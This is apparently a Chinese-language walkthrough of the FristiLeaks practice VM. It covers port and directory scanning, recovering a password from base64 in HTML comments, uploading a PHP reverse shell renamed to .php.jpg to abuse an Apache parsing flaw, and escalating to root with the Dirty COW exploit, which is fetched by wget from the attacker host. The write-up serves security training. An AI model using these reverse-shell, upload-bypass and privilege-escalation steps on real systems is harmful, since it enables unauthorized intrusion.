目录
二、通过apache解析漏洞上传php反弹shell获得shell
一、nmap扫描/gobuster目录爆破
nmap -sT --min-rate 10000 192.168.213.138 -oA nmapscan/port
扫描tcp开放了那些端口,保存到nmap/port中

nmap -sU --min-rate 10000 192.168.213.138 -oA nmapscan/port
扫描udp开放了那些端口,保存到nmap/udp中

nmap -sT -sC -Pn -v -sV -O 192.168.213.138 -oA nmapscan/detail
对开放的端口进行详细的探测,保存到detail中

nmap --script=vuln 192.168.213.138 nmapscan/vuln
使用nmap的漏洞扫描脚本进行漏洞扫描

通过nmap扫描只知道开放了80端口,nmap枚举出的目录 /cola /sisi /beer 都是这个

进行目录爆破
使用gobuster进行常规的目录爆破,没有结果
gobuster dir -u http://192.168.213.138 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
使用gobuster对php,sql,txt,zip,rar文件进行爆破,也没有结果
gobuster dir -u http://192.168.213.138 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,sql,txt,zip,rar,tar
发现靶机名称为fristi leaks leaks翻译是泄露的意思,把fristi当作目录名试试

看到这种登录框先考虑有没有sql万能密码,弱密码,尝试过后发现并没有
F12发现两段注释

第一段知道了一个用户名:eezeepz
第二段看到最后的两个“==”,应该是base64,进行解码

发现是png图片

看到了图片的内容,因为只有80端口开放,有一个登录界面,知道了一个用户名,猜测这个可能为密码

eezeepz:keKkeKKeKKeKkEkkEk

登陆成功
二、通过apache解析漏洞上传php反弹shell获得shell
是一个上传的功能点

先写一个php的反弹shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.213.128/443 0>&1'");?>
进行上传,只允许这几种图片格式

使用wappalyzer发现apache版本低,可能存在解析漏洞

把shella.php改名为shella.php.jpg
成功上传,nc开启监听,访问:http://192.168.213.138/fristi/uploads/shella.php.jpg
反弹shell成功

三、脏牛提权
uname -a 发现靶机内核为2.6.32

gcc也是有的,可以用脏牛进行提权

把exp下载到靶机
python -m http.server 7777
wget http://192.168.213.128:7777/40839.c
gcc进行编译
gcc -pthread -o exp 40839.c -lcrypt

su firefart

总结:通过靶机名发现fristi目录,f12发现注释,进行base64解码后知道了密码,登录后使用apache解析漏洞成功获取到shell,最后使用脏牛进行提权。
725

被折叠的 条评论
为什么被折叠?



